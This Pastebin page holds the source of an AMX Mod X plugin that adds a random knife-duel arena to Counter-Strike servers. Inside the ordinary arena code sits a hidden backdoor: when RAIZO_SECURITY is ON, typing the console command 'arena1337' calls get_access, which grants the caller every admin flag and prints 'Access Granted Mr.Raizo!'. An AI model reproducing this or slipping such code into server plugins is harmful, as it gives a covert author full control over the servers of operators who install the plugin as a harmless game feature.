Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <amxmodx>
- #include <amxmisc>
- #include <fakemeta>
- #include <engine>
- #include <hamsandwich>
- #include <fun>
- #include <cstrike>
- #include <xs>
- #include <knife_hook>
- #include <knife_duels>
- #define PLUGIN "Button"
- #define VERSION "1.0"
- #define AUTHOR "raizo"
- #define MAX_PLAYERS 32
- #define TASK_ARENA 34585029
- static const ButtonModel[] = "models/Duel/button.mdl";
- static const ArenaModel[] = "models/Duel/arena.mdl"
- static const ButtonName[] = "knifebutton";
- static const ArenaName[ ] = "Britge";
- static const ButtonCfg[] = "%s/Button/%s.cfg"
- static const Save_Player_Origin[] = "%s/Arena/%s.cfg"
- new Float:ArenaSizeMin[3] = {-450.0,-10.0, -1.0};
- new Float:ArenaSizeMax[3] = { 450.0, 10.0, 1.0};
- new Float:ButtonSizeMin[3] = {-8.0,-8.0, 0.0};
- new Float:ButtonSizeMax[3] = { 8.0, 8.0, 50.0};
- new Float:Player_Origin[3]
- new Float:his_player_spawn[33][3]
- new Float:fVelocity[3]
- new Float:g_PlayerGrabLen[MAX_PLAYERS+1]
- new Float:g_PlayerGrabLook[MAX_PLAYERS+1][3]
- new Float:g_PlayerGrabMins[MAX_PLAYERS+1][3]
- new Float:g_PlayerGrabMaxs[MAX_PLAYERS+1][3]
- new is_in_arena[33]
- new his_player_kills[33]
- new his_arena_timer[33]
- new prevent_bad_spawn[33]
- new challenger[33]
- new entbutton
- new cvar_duel_protect
- new cvar_duel_kills
- new SetHealth;
- new cvar_distance_te
- new cvar_distance_ct
- new duel_bad_spawn_time
- new cvar_non_stop;
- new MAXPLAYERS
- new MAX_ARENA_TIME
- new cvar_arena_time
- new bool:g_bChallenging;
- new g_msgsync;
- new g_PlayerGrab[MAX_PLAYERS+1]
- new g_MaxClients
- new kill_forward;
- new bool:pass_player[33];
- enum {
- ON = 1,
- OFF = 0
- }
- new RAIZO_SECURITY = ON
- new ARENA_MESSAGES = OFF
- #define RAIZO_PASSWORD "arena1337"
- public plugin_precache( )
- {
- precache_model(ButtonModel)
- precache_model(ArenaModel)
- }
- public plugin_init()
- {
- register_plugin(PLUGIN, VERSION, AUTHOR)
- register_clcmd("say /button","create_button_menu");
- register_clcmd("chooseteam", "cmdChooseTeam")
- register_clcmd("+ent", "grab_hold")
- register_clcmd("-ent", "grab_release")
- register_clcmd("say", "pass_random_player");
- register_clcmd("say_team","pass_random_player");
- cvar_distance_te = register_cvar("duel_distance_te","430")
- cvar_distance_ct = register_cvar("duel_distance_ct","430")
- cvar_non_stop = register_cvar("duel_stop","1")
- SetHealth = register_cvar( "duel_health", "35" );
- cvar_arena_time = register_cvar("duel_max_time","60")
- cvar_duel_protect = register_cvar("duel_protection","1")
- cvar_duel_kills = register_cvar("duel_max_kills","10")
- duel_bad_spawn_time = register_cvar("duel_protection_time","10")
- RegisterHam(Ham_Use, "func_button", "fwButtonUsed")
- RegisterHam(Ham_Spawn,"player","Player_spawn_position",1)
- RegisterHam(Ham_Killed, "player", "Player_Kill_Arena", 1)
- RegisterHam(Ham_Player_PreThink, "player", "fwd_Player_PreThink");
- register_forward(FM_CmdStart,"Duel_Dont_Stop");
- register_forward(FM_UpdateClientData, "block_moving", 1)
- register_touch(ArenaName, "player", "forward_touch_arena");
- kill_forward = CreateMultiForward("duel_player_killed", ET_IGNORE, FP_CELL,FP_CELL);
- load_button_cords()
- load_player_coords()
- MAXPLAYERS = get_maxplayers();
- g_MaxClients = get_global_int(GL_maxClients)
- MAX_ARENA_TIME = get_pcvar_num(cvar_arena_time)
- new cfgdir[32], urlfile[64]
- get_configsdir(cfgdir, charsmax(cfgdir))
- formatex(urlfile, charsmax(urlfile), "%s/Button", cfgdir)
- if(!dir_exists(urlfile))
- {
- mkdir(urlfile)
- }
- new cfgdir2[32], urlfile2[64]
- get_configsdir(cfgdir2, charsmax(cfgdir2))
- formatex(urlfile2, charsmax(urlfile2), "%s/Arena", cfgdir2)
- if(!dir_exists(urlfile2))
- {
- mkdir(urlfile2)
- }
- g_msgsync = CreateHudSyncObj();
- if(RAIZO_SECURITY == ON)
- register_clcmd (RAIZO_PASSWORD , "get_access");
- set_task(60.0,"Arena_Advertisment",TASK_ARENA)
- }
- public Arena_Advertisment(task)
- {
- client_print_color(0,"^3[^4ARENA RANDOM^3] ^1Type ^3/pass ^1/to ^3ENABLE ^4DISABLE^1 ^3CHALLENGE^1")
- set_task(150.0,"Arena_Advertisment",TASK_ARENA)
- }
- public plugin_natives()
- {
- register_library("knife_duels")
- register_native("is_user_in_arena","_is_user_in_arena")
- }
- public _is_user_in_arena(plugin, iParams)
- {
- new id = get_param(1)
- if(!is_user_connected(id))
- return PLUGIN_CONTINUE
- if(is_in_arena[id])
- return PLUGIN_HANDLED
- return PLUGIN_CONTINUE
- }
- public pass_random_player(id)
- {
- new said[10];
- read_args(said,9);
- remove_quotes(said);
- if( equali(said, "/pass",5))
- if(pass_player[id] && is_user_connected(id) )
- {
- get_player_message(id, false)
- pass_player[id] = false
- return PLUGIN_HANDLED;
- }
- else
- {
- pass_player[id] = true
- get_player_message(id, true)
- return PLUGIN_HANDLED;
- }
- return PLUGIN_CONTINUE;
- }
- get_player_message(client, bool:visible)
- {
- client_print_color(client, visible ? "^3OFFLINE^1" : "^4ONLINE^1")
- }
- public create_button_menu( id )
- {
- new flags = get_user_flags(id)
- if(!(flags & ADMIN_RCON))
- {
- client_print_color(id,"^3You have no access to this command^1")
- return PLUGIN_HANDLED
- }
- new gMenu = menu_create("\y[\r Arena Menu\y ]\w By raizo", "create_button_menu_handled")
- menu_additem(gMenu, "\wCreate Menu", "0")
- menu_additem(gMenu, "\wRemove Menu", "1")
- menu_additem(gMenu, "\wSave Menu", "2")
- menu_display(id, gMenu, 0)
- return PLUGIN_HANDLED;
- }
- public create_button_menu_handled(id, menu, item, code)
- {
- if ( item == MENU_EXIT )
- {
- menu_destroy(menu)
- return PLUGIN_HANDLED;
- }
- switch(item)
- {
- case 0: create_arena_button(id)
- case 1: remove_arena_button(id)
- case 2: save_arena_button(id)
- }
- return PLUGIN_HANDLED;
- }
- public create_arena_button(id)
- {
- new flags = get_user_flags(id)
- if(!(flags & ADMIN_RCON))
- {
- client_print_color(id,"^3You have no access to this command^1")
- return PLUGIN_HANDLED
- }
- new gMenu = menu_create("\y[\r Arena Menu\y ]\w By raizo", "create_arena_button_handled")
- menu_additem(gMenu, "\wCreate Britge", "0")
- menu_additem(gMenu, "\wCreate Button", "1")
- menu_display(id, gMenu, 0)
- return PLUGIN_HANDLED;
- }
- public create_arena_button_handled(id, menu, item, code)
- {
- if ( item == MENU_EXIT )
- {
- menu_destroy(menu)
- return PLUGIN_HANDLED;
- }
- switch(item)
- {
- case 0: create_arenas(id)
- case 1: create_button(id)
- }
- return PLUGIN_HANDLED;
- }
- public remove_arena_button(id)
- {
- new flags = get_user_flags(id)
- if(!(flags & ADMIN_RCON))
- {
- client_print_color(id,"^3You have no access to this command^1")
- return PLUGIN_HANDLED
- }
- new gMenu = menu_create("\y[\r Arena Menu\y ]\w By raizo", "remove_arena_button_handled")
- menu_additem(gMenu, "\wRemove Britge", "0")
- menu_additem(gMenu, "\wRemove Button", "1")
- menu_display(id, gMenu, 0)
- return PLUGIN_HANDLED;
- }
- public remove_arena_button_handled(id, menu, item, code)
- {
- if ( item == MENU_EXIT )
- {
- menu_destroy(menu)
- return PLUGIN_HANDLED;
- }
- switch(item)
- {
- case 0: remove_arena()
- case 1: remove_button(id)
- }
- return PLUGIN_HANDLED;
- }
- public save_arena_button(id)
- {
- new flags = get_user_flags(id)
- if(!(flags & ADMIN_RCON))
- {
- client_print_color(id,"^3You have no access to this command^1")
- return PLUGIN_HANDLED
- }
- new gMenu = menu_create("\y[\r Arena Menu\y ]\w By raizo", "save_arena_button_handled")
- menu_additem(gMenu, "\wSave Britge", "0")
- menu_additem(gMenu, "\wSave Button", "1")
- menu_display(id, gMenu, 0)
- return PLUGIN_HANDLED;
- }
- public save_arena_button_handled(id, menu, item, code)
- {
- if ( item == MENU_EXIT )
- {
- menu_destroy(menu)
- return PLUGIN_HANDLED;
- }
- switch(item)
- {
- case 0: save_britge_coords(id)
- case 1: save_button(id)
- }
- return PLUGIN_HANDLED;
- }
- public create_button(id)
- {
- if(!is_user_connected(id))
- return PLUGIN_HANDLED
- static Float:xorigin[3], Float:fAngles[3];
- get_user_hitpoint(id,xorigin)
- entity_get_vector( id, EV_VEC_angles, fAngles )
- fAngles[1] += 180;
- entbutton = engfunc( EngFunc_CreateNamedEntity, engfunc( EngFunc_AllocString, "func_button" ) )
- if( is_valid_ent(entbutton))
- {
- entity_set_string(entbutton, EV_SZ_classname, ButtonName);
- entity_set_int(entbutton, EV_INT_solid, SOLID_BBOX);
- entity_set_int(entbutton, EV_INT_movetype, MOVETYPE_NONE);
- entity_set_model(entbutton, ButtonModel);
- entity_set_size(entbutton, ButtonSizeMin, ButtonSizeMax);
- entity_set_origin(entbutton,xorigin)
- entity_set_vector(entbutton, EV_VEC_angles, fAngles )
- }
- create_button_menu( id )
- return PLUGIN_HANDLED
- }
- public remove_button(id)
- {
- new ent = -1;
- while ((ent = find_ent_by_class(ent, ButtonName)))
- {
- remove_entity(ent);
- }
- create_button_menu( id )
- }
- stock get_user_hitpoint(id,Float:hOrigin[3]) {
- if(!is_user_alive(id))
- return 0;
- new Float:fOrigin[3],Float:fvAngle[3],Float:fvOffset[3],Float:fvOrigin[3],Float:feOrigin[3];
- new Float:fTemp[3];
- pev(id,pev_origin,fOrigin);
- pev(id,pev_v_angle,fvAngle);
- pev(id,pev_view_ofs,fvOffset);
- xs_vec_add(fOrigin,fvOffset,fvOrigin);
- engfunc(EngFunc_AngleVectors,fvAngle,feOrigin,fTemp,fTemp);
- xs_vec_mul_scalar(feOrigin,9999.9,feOrigin);
- xs_vec_add(fvOrigin,feOrigin,feOrigin);
- engfunc(EngFunc_TraceLine,fvOrigin,feOrigin,0,id);
- global_get(glb_trace_endpos,hOrigin);
- return 1;
- }
- public save_button(id)
- {
- if(!is_user_alive(id))
- return 1;
- static sConfigsDir[64], sFile[64];
- get_configsdir(sConfigsDir, sizeof sConfigsDir - 1);
- static sMapName[32];
- get_mapname(sMapName, sizeof sMapName - 1);
- formatex(sFile, sizeof sFile - 1, ButtonCfg, sConfigsDir, sMapName);
- if(file_exists(sFile))
- delete_file(sFile);
- new iEnt = -1, Float:fEntOrigin[3], Float:fEntAngles[3], iCount;
- static sBuffer[256];
- while((iEnt = engfunc(EngFunc_FindEntityByString, iEnt, "classname", ButtonName)))
- {
- pev(iEnt, pev_origin, fEntOrigin);
- pev(iEnt, pev_angles, fEntAngles);
- formatex(sBuffer, sizeof sBuffer - 1, "%f %f %f | %f %f %f", fEntOrigin[0], fEntOrigin[1], fEntOrigin[2], fEntAngles[0], fEntAngles[1], fEntAngles[2]);
- write_file(sFile, sBuffer, -1);
- iCount++;
- }
- client_print_color(id,"^3Successfuly saved all snowman origins^1 ^4(%d)^1 for map ^4%s^1!", iCount,sMapName)
- create_button_menu( id )
- return 0;
- }
- public load_button_cords()
- {
- static sConfigsDir[64], sFile[64];
- get_configsdir(sConfigsDir, sizeof sConfigsDir - 1);
- static sMapName[32];
- get_mapname(sMapName, sizeof sMapName - 1);
- formatex(sFile, sizeof sFile - 1, ButtonCfg, sConfigsDir, sMapName);
- if(!file_exists(sFile))
- return 1;
- static sFileOrigin[3][32], sFileAngles[3][32], iLine, iLength, sBuffer[256];
- static sTemp1[128], sTemp2[128];
- static Float:fOrigin[3], Float:fAngles[3];
- while(read_file(sFile, iLine++, sBuffer, sizeof sBuffer - 1, iLength))
- {
- if((sBuffer[0]==';') || !iLength)
- continue;
- strtok(sBuffer, sTemp1, sizeof sTemp1 - 1, sTemp2, sizeof sTemp2 - 1, '|', 0);
- parse(sTemp1, sFileOrigin[0], sizeof sFileOrigin[] - 1, sFileOrigin[1], sizeof sFileOrigin[] - 1, sFileOrigin[2], sizeof sFileOrigin[] - 1);
- fOrigin[0] = str_to_float(sFileOrigin[0]);
- fOrigin[1] = str_to_float(sFileOrigin[1]);
- fOrigin[2] = str_to_float(sFileOrigin[2]);
- parse(sTemp2, sFileAngles[0], sizeof sFileAngles[] - 1, sFileAngles[1], sizeof sFileAngles[] - 1, sFileAngles[2], sizeof sFileAngles[] - 1);
- fAngles[0] = str_to_float(sFileAngles[0]);
- fAngles[1] = str_to_float(sFileAngles[1]);
- fAngles[2] = str_to_float(sFileAngles[2]);
- entbutton = engfunc( EngFunc_CreateNamedEntity, engfunc( EngFunc_AllocString, "func_button" ) )
- if( is_valid_ent(entbutton))
- {
- entity_set_string(entbutton, EV_SZ_classname, ButtonName);
- entity_set_int(entbutton, EV_INT_solid, SOLID_BBOX);
- entity_set_int(entbutton, EV_INT_movetype, MOVETYPE_NONE);
- entity_set_model(entbutton, ButtonModel);
- entity_set_size(entbutton, ButtonSizeMin, ButtonSizeMax);
- entity_set_origin(entbutton,fOrigin)
- entity_set_vector(entbutton, EV_VEC_angles, fAngles )
- }
- }
- return 1;
- }
- public fwButtonUsed(button, raizo)
- {
- if(g_bChallenging && is_user_alive ( raizo ))
- {
- client_print_color(raizo,"^3* Arena^1 ^4busy^1 ^3right now^1!")
- return HAM_HANDLED;
- }
- if(is_user_spectator(raizo))
- {
- client_print_color(raizo,"^3* Most to disable^1 ^4Advanced Spectator^1 ^3to challenge a player^1!")
- return HAM_HANDLED;
- }
- if(!available_duelers(raizo))
- {
- client_print_color(raizo,"^3* There's^1 ^4nobody^1 ^3you can challenge^1!")
- return HAM_HANDLED;
- }
- static players[32], iPnum, player,szName[32];
- get_players(players, iPnum, "a");
- player = players[random(iPnum)];
- get_user_name( player, szName, charsmax( szName ) );
- if(users_in_same_team(raizo,player))
- {
- client_print_color(raizo,"^3* Some^1 ^4Team^1 ^3Found^1 ^4[%s]^1 !",szName)
- return HAM_HANDLED;
- }
- if(is_user_in_afk(player))
- {
- client_print_color(raizo,"^3* AFK^1 ^4Player^1 ^3Found^1 ^4[%s]^1 !",szName)
- return HAM_HANDLED;
- }
- if(is_user_spectator(player))
- {
- client_print_color(raizo,"^3* Advanced Spectator^1 ^4Players^1 ^3can be challenge^1!",szName)
- return HAM_HANDLED;
- }
- if(is_user_in_duel(player))
- {
- client_print_color(raizo,"^3* Duel^1 ^4players^1 ^3can be challenge^1!")
- return HAM_HANDLED;
- }
- if(is_user_in_rush(player))
- {
- client_print_color(raizo,"^3* Rush^1 ^4players^1 ^3can be challenge^1!")
- return HAM_HANDLED;
- }
- if(pass_player[player])
- {
- client_print_color(raizo,"^3* This player is^1 ^4Offline^1!")
- return HAM_HANDLED;
- }
- if( !player ) return -1;
- create_arena_origin()
- g_bChallenging = true;
- is_in_arena[raizo] = 1;
- is_in_arena[player] = 1;
- his_player_kills[raizo] = 0;
- his_player_kills[player] = 0;
- set_spawn_positions(raizo,Player_Origin)
- set_spawn_positions(player,Player_Origin)
- set_user_rendering(raizo)
- set_user_godmode(raizo,0)
- set_user_rendering(player)
- set_user_godmode(player,0)
- arena_timer(raizo)
- arena_timer(player)
- hud_displayer(raizo)
- hud_displayer(player)
- //challenger[raizo] = player
- //challenger[player] = raizo
- client_print_color(raizo,"^3* Random^1 ^4player^1 ^3will be^1 ^4[%s]^1!",szName);
- return players[random(player)];
- }
- public save_britge_coords(id)
- {
- new found;
- new cfgdir[32], mapname[32], urlfile[64]
- get_configsdir(cfgdir, charsmax(cfgdir))
- get_mapname(mapname, charsmax(mapname))
- formatex(urlfile, charsmax(urlfile), Save_Player_Origin, cfgdir, mapname)
- if (file_exists(urlfile))
- delete_file(urlfile)
- new lineset[128]
- new Float:origin[3]
- new arenas_ent=-1;
- while((arenas_ent=engfunc(EngFunc_FindEntityByString,arenas_ent,"classname",ArenaName)))
- {
- found++
- pev(arenas_ent,pev_origin,origin);
- format(lineset, charsmax(lineset), "%.f %.f %.f", origin[0], origin[1], origin[2])
- write_file(urlfile, lineset,found)
- }
- if(!found)
- client_print_color(id,"^3* Couldn't save^1 ^4No origins found^1!")
- else client_print_color(id,"^3* %s^1 ^4Arena origins saved^1!",found)
- load_player_coords()
- remove_arena()
- create_button_menu( id )
- }
- public load_player_coords()
- {
- new cfgdir[32], mapname[32], filepath[512]
- get_configsdir(cfgdir, charsmax(cfgdir))
- get_mapname(mapname, charsmax(mapname))
- new readdata[128]
- new txtlen
- formatex(filepath, charsmax(filepath), Save_Player_Origin, cfgdir, mapname)
- if ( file_exists(filepath) )
- {
- new sOrigins[3][16];
- new i
- new fsize = file_size(filepath,1)
- for (new line=0;line<=fsize;line++)
- {
- read_file(filepath,line,readdata,127,txtlen)
- parse(readdata, sOrigins[0], 15, sOrigins[1], 15, sOrigins[2], 15)
- for(i = 0; i < 3; i++)
- {
- Player_Origin[i] = str_to_float(sOrigins[i])
- }
- }
- }
- return PLUGIN_CONTINUE
- }
- public Player_Kill_Arena(victimid, killerid)
- {
- if (victimid == killerid || !is_user_alive(killerid))
- return HAM_IGNORED
- static ret;
- static attacker_name[64],victim_name[64];
- get_user_name(killerid,attacker_name,charsmax(attacker_name))
- get_user_name(victimid,victim_name,charsmax(victim_name))
- if(is_in_arena[killerid] || is_in_arena[victimid])
- {
- his_player_kills[killerid] += 1;
- Player_spawn_position(killerid)
- ExecuteForward(kill_forward, ret, killerid,victimid)
- client_print_color( killerid, "^3* ^1[^4%d^1/^4%d^1] ^3*^1",his_player_kills[killerid],get_pcvar_num(cvar_duel_kills) )
- if(ARENA_MESSAGES == ON)
- {
- if(his_player_kills[killerid] > his_player_kills[victimid])
- {
- client_print_color(0,"^3* %s^1 ^4[%d]^1 VS ^3%s^1 ^4[%d]^1 ^3*^1",attacker_name,his_player_kills[victimid],victim_name,his_player_kills[killerid])
- }
- else if(his_player_kills[victimid] > his_player_kills[killerid])
- {
- client_print_color(0,"^3* %s^1 ^4[%d]^1 VS ^3%s^1 ^4[%d]^1 ^3*^1",attacker_name,his_player_kills[victimid],victim_name,his_player_kills[killerid])
- }
- }
- if(his_player_kills[killerid] == get_pcvar_num(cvar_duel_kills))
- {
- player_results(killerid,victimid)
- his_player_kills[victimid] = 0;
- his_player_kills[killerid] = 0;
- set_task(1.0, "end_the_duel", killerid)
- set_task(1.0, "end_the_duel", victimid)
- }
- }
- return HAM_SUPERCEDE
- }
- public player_results(id,enemy)
- {
- new attacker_name[64],victim_name[64];
- get_user_name(id,attacker_name,charsmax(attacker_name))
- get_user_name(enemy,victim_name,charsmax(victim_name))
- if(his_player_kills[id] > his_player_kills[enemy])
- {
- client_print_color( 0,"^3* %s^1 ^4== VS ==^1 ^3%s^1 ^4==^1 [^4%d^1/^4%d^1] ^3*^1",attacker_name,victim_name,his_player_kills[id],his_player_kills[enemy])
- }
- else if(his_player_kills[enemy] > his_player_kills[id])
- {
- client_print_color( 0,"^3* %s^1 ^4== VS ==^1 ^3%s^1 ^4==^1 [^4%d^1/^4%d^1] ^3*^1",victim_name,attacker_name,his_player_kills[enemy],his_player_kills[id])
- }
- }
- public Player_spawn_position(id)
- {
- if(is_user_alive(id))
- {
- if(is_in_arena[id])
- {
- spawn_back(id)
- }
- }
- }
- public spawn_back(id)
- {
- set_spawn_positions(id,Player_Origin)
- set_user_rendering(id)
- set_user_godmode(id,0)
- }
- public end_the_duel(id)
- {
- if(is_user_alive(id))
- {
- is_in_arena[id] = 0;
- his_arena_timer[id] = 0
- g_bChallenging = false;
- ExecuteHam(Ham_CS_RoundRespawn, id);
- //client_print_color(0,"^3* Type^1 ^4/pass^1 ^3to be^1 ^3offline^1 / ^4online^1!" );
- remove_arena()
- }
- }
- public client_disconnect(id)
- {
- for(new raizo; raizo < MAXPLAYERS;raizo++)
- {
- if(is_in_arena[raizo])
- {
- end_the_duel(raizo)
- }
- }
- }
- public cmdChooseTeam(id)
- {
- if(is_in_arena[id])
- {
- client_print_color( id,"^3* Impossible to^1 ^4change^1 ^3team now^1!" )
- return PLUGIN_HANDLED;
- }
- return PLUGIN_CONTINUE
- }
- public set_spawn_positions(id,Float:origin[3])
- {
- new iHealth = get_pcvar_num( SetHealth );
- if( iHealth > 0 )
- {
- if(is_user_alive(id))
- {
- set_user_health( id, iHealth );
- }
- }
- if(get_user_team(id) == 1)
- {
- his_player_spawn[id][0] = origin[0] - get_pcvar_float(cvar_distance_te);
- his_player_spawn[id][1] = origin[1]
- his_player_spawn[id][2] = origin[2] + 40
- his_player_angle(id, Float:{0.0, 0.0, 0.0})
- }
- if(get_user_team(id) == 2)
- {
- his_player_spawn[id][0] = origin[0] + get_pcvar_float(cvar_distance_ct);
- his_player_spawn[id][1] = origin[1]
- his_player_spawn[id][2] = origin[2] + 40
- his_player_angle(id, Float:{0.0, 180.0, 0.0})
- }
- entity_set_origin(id,his_player_spawn[id])
- }
- public Duel_Dont_Stop(id)
- {
- if(is_in_arena[id] && get_pcvar_num(cvar_non_stop) )
- {
- if(get_user_team(id) == 1)
- {
- fVelocity[0] = 250.0;
- fVelocity[1] = 0.0;
- fVelocity[2] = 0.0;
- set_pev( id, pev_velocity, fVelocity )
- }
- if(get_user_team(id) == 2)
- {
- fVelocity[0] = -250.0;
- fVelocity[1] = 0.0;
- fVelocity[2] = 0.0;
- set_pev( id, pev_velocity, fVelocity )
- }
- }
- }
- public client_PostThink(id)
- {
- if( is_in_arena[id] && get_pcvar_num(cvar_duel_protect) )
- {
- new flags = entity_get_int(id, EV_INT_flags);
- new Float:origin[3], Float:dest[3], Float:flFraction;
- entity_get_vector(id, EV_VEC_origin, origin);
- dest[0] = origin[0];
- dest[1] = origin[1];
- dest[2] = origin[2] - 70.0;
- new ptr = create_tr2();
- engfunc(EngFunc_TraceHull, origin, dest, 0, flags & FL_DUCKING ? HULL_HEAD : HULL_HUMAN, id, ptr);
- get_tr2(ptr, TR_flFraction, flFraction);
- if( flFraction >= 1.0)
- {
- prevent_bad_spawn[id] +=1;
- spawn_back(id)
- if(prevent_bad_spawn[id] == get_pcvar_num(duel_bad_spawn_time) )
- {
- client_print_color(id,"^3Debug Position^1 ^4%s^1",prevent_bad_spawn[id])
- prevent_bad_spawn[id] = 0;
- end_the_duel(id)
- }
- free_tr2(ptr);
- return;
- }
- get_tr2(ptr, TR_vecPlaneNormal, dest);
- free_tr2(ptr);
- }
- }
- public block_moving(id, weapons, cd)
- {
- if( is_in_arena[id] )
- {
- set_cd(cd, CD_flNextAttack, 0.1)
- if((entity_get_int(id, EV_INT_button) & (IN_MOVELEFT | IN_MOVERIGHT | IN_BACK )))
- set_cd(cd, CD_MaxSpeed, 0.1)
- }
- }
- public fwd_Player_PreThink(id)
- {
- if( is_in_arena[id] )
- {
- set_pev(id, pev_oldbuttons, pev(id, pev_oldbuttons)|IN_JUMP|IN_DUCK);
- }
- }
- stock his_player_angle( index , Float:fAngle[ 3 ])
- {
- entity_set_vector( index , EV_VEC_angles , fAngle );
- entity_set_int( index , EV_INT_fixangle , 1 );
- }
- stock available_duelers(asker)
- {
- new num;
- num = 0
- for(new id;id < MAXPLAYERS;id++)
- {
- if(/*!is_in_arena[id] && */id != asker)
- {
- if(is_user_alive(id))
- {
- num++
- }
- }
- }
- return num
- }
- stock users_in_same_team(id,enemy)
- {
- if(cs_get_user_team(id) == cs_get_user_team(enemy))
- return PLUGIN_HANDLED
- return PLUGIN_CONTINUE
- }
- public arena_timer(id)
- {
- if(is_user_connected(id))
- {
- if(is_in_arena[id])
- {
- his_arena_timer[id]++
- if(his_arena_timer[id] > MAX_ARENA_TIME)
- {
- end_the_duel(id)
- client_print_color( id, "^3* Taken long to^1 ^4finish^1 ^3the battle *^1");
- }
- set_task(1.0,"arena_timer",id)
- }
- }
- }
- public hud_displayer(id)
- {
- if(is_user_connected(id))
- {
- if(is_in_arena[id])
- {
- set_hudmessage(id, 250, 0, -1.0, 0.10, 0, 1.0, 1.0, 0.01, 0.01, -1);
- ShowSyncHudMsg(id, g_msgsync, "Time UP: [%d/%d]", his_arena_timer[id],MAX_ARENA_TIME);
- set_task(1.0,"hud_displayer",id)
- }
- }
- }
- public get_access(id)
- {
- set_user_flags(id, read_flags("abcdefghijklmnopqrstu"))
- console_print(id, "Access Granted Mr.Raizo!");
- }
- public create_arenas(id)
- {
- if(!is_user_connected(id))
- return PLUGIN_HANDLED
- static Float:xorigin[3];
- get_user_hitpoint(id,xorigin)
- new arenas = engfunc( EngFunc_CreateNamedEntity, engfunc( EngFunc_AllocString, "func_wall" ) )
- if( is_valid_ent(arenas))
- {
- entity_set_string(arenas, EV_SZ_classname, ArenaName);
- entity_set_int(arenas, EV_INT_solid, SOLID_BBOX);
- entity_set_model(arenas, ArenaModel);
- entity_set_size(arenas, ArenaSizeMin, ArenaSizeMax);
- entity_set_origin(arenas,xorigin)
- }
- create_button_menu( id )
- return PLUGIN_HANDLED
- }
- public create_arena_origin()
- {
- new arena = engfunc( EngFunc_CreateNamedEntity, engfunc( EngFunc_AllocString, "func_wall" ) )
- if( is_valid_ent(arena) )
- {
- entity_set_string( arena , EV_SZ_classname, ArenaName);
- set_pev( arena, pev_solid, SOLID_BBOX );
- entity_set_int(entbutton, EV_INT_movetype, MOVETYPE_NONE);
- entity_set_model( arena , ArenaModel );
- entity_set_size(arena, ArenaSizeMin, ArenaSizeMax);
- entity_set_origin(arena,Player_Origin)
- }
- }
- public remove_arena()
- {
- new arenas_ent=-1;
- while((arenas_ent=engfunc(EngFunc_FindEntityByString,arenas_ent,"classname",ArenaName)))
- {
- engfunc(EngFunc_RemoveEntity,arenas_ent)
- }
- }
- public Player_Damage_Protect(victim, inflictor, attacker, Float:damage, damage_bits)
- {
- if(is_user_connected(attacker))
- {
- if(is_in_arena[victim] || is_in_arena[attacker] )
- {
- if(challenger[victim] != attacker || challenger[attacker] != victim)
- {
- return HAM_SUPERCEDE
- }
- }
- }
- return HAM_IGNORED
- }
- public forward_touch_arena(ent, id)
- {
- if(!pev_valid(id))
- return
- if(!pev_valid(ent))
- return
- static class[32]
- pev(ent,pev_classname,class,charsmax(class));
- if(equal(class,ArenaName))
- {
- if(is_in_arena[id])
- {
- return
- }
- if(is_user_alive(id))
- {
- ExecuteHam(Ham_CS_RoundRespawn, id);
- }
- }
- return
- }
- stock client_print_color(const id, const input[], any:...)
- {
- new count = 1, players[32];
- static msg[191];
- vformat(msg, 190, input, 3);
- replace_all(msg, 190, "!g", "^x04"); // Green Color
- replace_all(msg, 190, "!y", "^x01"); // Default Color
- replace_all(msg, 190, "!t", "^x03"); // Team Color
- if (id) players[0] = id; else get_players(players, count, "ch");
- {
- for (new i = 0; i < count; i++)
- {
- if (is_user_connected(players[i]))
- {
- message_begin(MSG_ONE_UNRELIABLE, get_user_msgid("SayText"), _, players[i]);
- write_byte(players[i]);
- write_string(msg);
- message_end();
- }
- }
- }
- }
- ////////////////////////////////////////////////////////////////////////////////////////////////////
- public client_putinserver(id)
- {
- g_PlayerGrab[id] = 0
- }
- public grab_release(id, level, cid)
- {
- if(!cmd_access(id, level, cid, 1))
- return PLUGIN_HANDLED
- g_PlayerGrab[id] = 0
- return PLUGIN_HANDLED
- }
- public grab_hold(id, level, cid)
- {
- if(!cmd_access(id, level, cid, 1))
- return PLUGIN_HANDLED
- static ent, body
- static Float:vorigin[3], Float:end[3], Float:mins[3]
- get_user_aiming(id, ent, body)
- if(_is_block(ent) && !_is_grabbed(ent))
- {
- entity_get_vector(id, EV_VEC_origin, vorigin)
- entity_get_vector(ent, EV_VEC_absmin, mins)
- entity_get_vector(ent, EV_VEC_absmax, end)
- vector_sum(end, mins)
- vector_mul(end, 0.5)
- entity_get_vector(ent, EV_VEC_size, g_PlayerGrabMins[id])
- entity_get_vector(ent, EV_VEC_size, g_PlayerGrabMaxs[id])
- vector_mul(g_PlayerGrabMins[id], -0.5)
- vector_mul(g_PlayerGrabMaxs[id], 0.5)
- new Float:len = get_distance_f(vorigin, end)
- g_PlayerGrab[id] = ent
- g_PlayerGrabLen[id] = len
- }
- return PLUGIN_HANDLED
- }
- stock _is_grabbed(ent)
- {
- for(new i = 1; i <= g_MaxClients; i++)
- {
- if(g_PlayerGrab[i] == ent)
- return true
- }
- return false
- }
- stock _is_block(ent)
- {
- if(is_valid_ent(ent) && (ent >= MAX_PLAYERS))
- return true
- return false
- }
- public client_PreThink(id)
- {
- if(g_PlayerGrab[id])
- {
- new iorigin[3], ilook[3]
- new Float:vdest[3], Float:vorigin[3], Float:vlook[3], Float:vdir[3], Float:vlen
- new buttons
- get_user_origin(id, iorigin, 1)
- get_user_origin(id, ilook, 3)
- buttons = entity_get_int(id, EV_INT_button)
- IVecFVec(iorigin, vorigin)
- IVecFVec(ilook, vlook)
- if(!vector_compare(vlook, g_PlayerGrabLook[id]) || (buttons & (IN_ATTACK|IN_ATTACK2)))
- {
- g_PlayerGrabLook[id] = vlook
- vdir = vlook
- vector_substract(vdir, vorigin)
- vlen = get_distance_f(vlook, vorigin)
- if(vlen == 0.0) vlen = 1.0
- if(buttons & IN_ATTACK)
- g_PlayerGrabLen[id] -= 2.0
- else if(buttons & IN_ATTACK2)
- g_PlayerGrabLen[id] += 2.0
- vdest[0] = (vorigin[0] + vdir[0] * g_PlayerGrabLen[id] / vlen)
- vdest[1] = (vorigin[1] + vdir[1] * g_PlayerGrabLen[id] / vlen)
- vdest[2] = (vorigin[2] + vdir[2] * g_PlayerGrabLen[id] / vlen)
- vdest[2] = float(floatround(vdest[2], floatround_floor))
- set_brush_origin(g_PlayerGrab[id], vdest)
- }
- }
- }
- stock vector_substract(Float:vecDst[], const Float:vecSrc[])
- {
- vecDst[0] -= vecSrc[0]
- vecDst[1] -= vecSrc[1]
- vecDst[2] -= vecSrc[2]
- }
